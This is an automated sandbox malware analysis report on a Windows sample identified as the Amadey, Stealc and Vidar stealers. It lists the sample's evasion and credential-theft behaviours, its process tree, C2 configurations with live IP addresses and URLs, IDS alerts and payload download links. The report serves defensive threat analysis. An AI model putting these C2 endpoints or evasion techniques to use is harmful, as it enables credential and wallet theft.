Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557014
MD5:	b565a462e3c86b9ec9ecc1b2107c1d0f
SHA1:	8a57fc58c7750cb9e28fe9c825c3ea721e95097d
SHA256:	58600b3ce07962ea4bb35ad0d7e780fce9b262b2ca802c513ed66e6522de0d9c
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5908 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B565A462E3C86B9EC9ECC1B2107C1D0F)

chrome.exe (PID: 5456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7244 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2716 --field-trial-handle=2624,i,784947958106043157,14754266140476347542,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7928 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5228 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2228,i,2147503693101938969,1745895719628420453,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8156 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDHIEBAAK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFIDHIEBAAK.exe (PID: 4160 cmdline: "C:\Users\user\DocumentsFIDHIEBAAK.exe" MD5: 10282F683CC2BB574D550E549C7856A7)

skotes.exe (PID: 2148 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 10282F683CC2BB574D550E549C7856A7)

msedge.exe (PID: 7056 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7464 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9016 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6792 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9068 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6984 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8960 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4456 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 6756 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 10282F683CC2BB574D550E549C7856A7)

skotes.exe (PID: 4304 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 10282F683CC2BB574D550E549C7856A7)

1c35230e0d.exe (PID: 5248 cmdline: "C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe" MD5: 039A5670B4C56BD2AA19CDFBEF068186)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000002.2658818239.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2656933976.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2088852117.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2587375541.0000000000821000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2623925226.00000000006D1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2590695156.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.3331950957.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5908	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5908	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5908	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5908	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.4f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsFIDHIEBAAK.exe.6d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.4f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.4f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5908, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5456, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:42:11.064715+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:42:11.058295+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:42:11.345660+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:42:12.482663+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:42:11.352442+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:42:10.771080+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:44:05.538395+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50121	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:42:03.173174+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50122	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:44:08.865330+0100	2803305	3	Unknown Traffic	192.168.2.5	50123	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T03:42:13.091290+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-17T03:42:35.994619+0100	2803304	3	Unknown Traffic	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:39.361488+0100	2803304	3	Unknown Traffic	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:41.368075+0100	2803304	3	Unknown Traffic	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:42.558502+0100	2803304	3	Unknown Traffic	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:44.842652+0100	2803304	3	Unknown Traffic	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:45.503956+0100	2803304	3	Unknown Traffic	192.168.2.5	49797	185.215.113.206	80	TCP
2024-11-17T03:42:50.052044+0100	2803304	3	Unknown Traffic	192.168.2.5	49957	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll:	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpf4	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll4	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe-	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php2m3	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpI3	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll1	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllu	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000002.2658818239.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.5908.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll:

Virustotal: Detection: 18%

Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 53%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C666C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49993 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50107 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50121 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50122

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 02:42:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
